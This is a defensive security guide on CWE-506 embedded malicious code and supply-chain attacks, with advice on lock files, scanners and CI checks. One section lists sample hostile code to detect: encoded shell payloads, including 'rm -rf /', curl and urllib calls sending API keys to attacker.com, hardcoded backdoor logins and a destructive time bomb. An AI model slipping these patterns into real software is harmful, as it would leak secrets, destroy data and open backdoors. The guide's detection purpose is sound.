Skip to content

CWE-506: Embedded Malicious Code

Overview

Embedded malicious code includes backdoors, logic bombs, time bombs, and trojans intentionally placed in source code or dependencies. Compromised npm packages, malicious gems, and supply chain attacks inject code that steals credentials, creates backdoors, or triggers on specific conditions.

OWASP Classification

A08:2025 - Software or Data Integrity Failures

Risk

Critical: Malicious code enables backdoor access (authentication bypass), data exfiltration (credentials, secrets), supply chain compromise (infected dependencies), time-based attacks (activate after deployment), and complete system compromise.

Remediation Steps

Core principle: Do not include embedded malicious or hidden code paths; enforce code review, signing, and provenance controls.

Locate Embedded Malicious Code or Compromised Dependencies

When reviewing security scan results:

  • Examine dependencies: Check all npm packages, pip packages, gems, JARs
  • Review code changes: Look for suspicious commits, especially from new contributors
  • Check for obfuscation: Base64 strings, eval/exec calls, encoded payloads
  • Find unexpected behavior: Network calls, file access, process execution
  • Identify backdoors: Hidden authentication bypasses, hardcoded credentials

Red flags in code:

  • eval(base64.b64decode(...))
  • exec(__import__('base64').b64decode(...))
  • Unexpected network requests to unknown domains
  • Obfuscated strings or encoded data
  • Time-based or condition-based destructive actions

Verify Dependency Integrity with Lock Files and Hashes (Primary Defense)

# npm - use package-lock.json with integrity hashes
npm ci  # Uses exact versions and integrity checks from package-lock.json
# Never use: npm install (can install different versions)

# Verify package-lock.json is committed
git add package-lock.json

# Python - require hashes for all dependencies
pip install --require-hashes -r requirements.txt

# Generate requirements with hashes
pip-compile --generate-hashes requirements.in

# Verify package signatures (Debian/Ubuntu)
apt-key verify package.asc
sudo apt-get install package

Why this works: Lock files with cryptographic hashes ensure you always install the exact same version of dependencies. Any tampering changes the hash, preventing installation of compromised packages.

Lock file best practices:

  • Commit lock files to version control (package-lock.json, Gemfile.lock, poetry.lock)
  • Use npm ci instead of npm install in CI/CD
  • Regenerate lock files carefully and review changes
  • Use --frozen-lockfile in production deployments

Scan Dependencies for Known Malware and Vulnerabilities

# npm - built-in audit
npm audit  # Check for known vulnerabilities
npm audit fix  # Auto-fix if possible
npm audit fix --force  # Force major version updates

# Snyk - comprehensive scanning
npm install -g snyk
snyk auth
snyk test  # Test current project
snyk monitor  # Continuous monitoring
snyk wizard  # Interactive remediation

# Python - pip-audit and safety
pip install pip-audit
pip-audit  # Scan installed packages

pip install safety
safety check  # Check against vulnerability database
safety check --json  # JSON output for automation

# OWASP Dependency-Check (multiple languages)
dependency-check --project MyApp --scan .

Automated scanning in CI/CD:

# GitHub Actions
name: Security Scan
on: [push, pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:

      - uses: actions/checkout@v3

      - name: Run Snyk to check for vulnerabilities
        uses: snyk/actions/node@master
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

      - name: Run npm audit
        run: npm audit --audit-level=moderate

Code Review for Suspicious Patterns and Backdoors

Malicious code patterns to detect:

# SUSPICIOUS: Obfuscated code execution
exec(base64.b64decode('Y3VybCBodHRwOi8vYXR0YWNrZXIuY29tLz9kYXRhPQ=='))
exec(__import__('base64').b64decode('cm0gLXJmIC8='))  # rm -rf /
eval(compile(base64.b64decode('...'), '<string>', 'exec'))

# SUSPICIOUS: Unexpected network calls
import urllib
urllib.request.urlopen(f'http://attacker.com/?data={api_key}')
requests.get('http://malicious.com', params={'secret': SECRET_KEY})

# SUSPICIOUS: Hidden backdoors
if username == 'admin_backdoor' and password == 'hardcoded_secret':
    return authenticate_success()  # Backdoor!

if request.headers.get('X-Secret-Header') == 'bypass':
    session['authenticated'] = True  # Authentication bypass!

# SUSPICIOUS: Time bombs
import datetime
if datetime.datetime.now() > datetime.datetime(2024, 12, 31):
    os.system('rm -rf /var/data/*')  # Destructive time bomb!

# SUSPICIOUS: Data exfiltration
import subprocess
subprocess.run(f'curl http://attacker.com/?key={os.environ["API_KEY"]}', shell=True)

Use Dependency Scanning and Static Analysis in CI/CD

# Static analysis for malicious patterns
bandit -r . --format json  # Python
semgrep --config=auto .  # Multi-language

# Search for suspicious patterns
grep -r "eval(" .
grep -r "exec(" .
grep -r "base64.b64decode" .
grep -r "__import__" .

SAST tools:

  • sonarqube
  • checkmarx
  • veracode static-analysis

CI/CD integration:

# GitLab CI
security_scan:
  stage: test
  script:

    - npm audit --production
    - bandit -r .
    - semgrep --config=auto .
  allow_failure: false  # Block on security issues

Monitor and Prevent Supply Chain Attacks

Prevention best practices:

// package.json - pin exact versions
{
  "dependencies": {
    "express": "4.18.2",  // Not "^4.18.2" or "~4.18.2"
    "lodash": "4.17.21"
  }
}

Monitoring strategies:

  • Use private package registries for internal packages
  • Review all dependency updates in pull requests
  • Monitor for typosquatting (lodash vs 1odash, express vs expres)
  • Check package maintainer changes
  • Verify package download counts and age
  • Use Subresource Integrity (SRI) for CDN resources

Network monitoring:

# Monitor for unexpected network connections
sudo netstat -tuln | grep ESTABLISHED
sudo lsof -i -P -n | grep LISTEN

# Check for DNS queries to suspicious domains
sudo tcpdump -i any -n port 53

Testing for malicious code:

  • Run in isolated environment first (container, VM)
  • Monitor file system access during installation
  • Check for new processes spawned
  • Monitor network traffic during execution
  • Review package contents before installation: npm pack && tar -xzf package.tgz

Incident response:

  • If malicious code found, immediately remove package
  • Rotate all credentials (API keys, secrets)
  • Review logs for data exfiltration
  • Scan all systems for compromise indicators
  • Report to package registry (npm, PyPI)
  • Re-scan entire codebase with updated tools

Supply Chain Attack Indicators

Suspicious npm packages:

  • Typosquatting (lodash vs 1odash)
  • Newly published with many downloads
  • Maintainer changes
  • Obfuscated code
  • Unexpected dependencies

Code patterns:

  • eval(), exec() with dynamic input
  • Base64 encoded strings
  • Network calls to unknown domains
  • File system access in unexpected places
  • Process execution (child_process, subprocess)

Detection Tools

# Static analysis

bandit -r .  # Python
semgrep --config=auto .

# Dependency scanning

npm audit
pip-audit
owasp-dependency-check

SAST tools:

  • sonarqube
  • checkmarx
  • veracode

Prevention Best Practices

  • Pin dependency versions (not ^1.0.0)
  • Use private package registries
  • Review dependency changes in PRs
  • Monitor for unusual network traffic
  • Implement least privilege
  • Use subresource integrity (SRI)
  • Regular security audits
  • Code review all changes

Security Checklist

  • No eval/exec with untrusted or obfuscated input
  • No base64-encoded code execution
  • All network calls to known, legitimate domains
  • No hardcoded backdoor credentials
  • No suspicious time-based or conditional logic
  • File system access is justified and safe
  • Process execution is necessary and safe

Additional Resources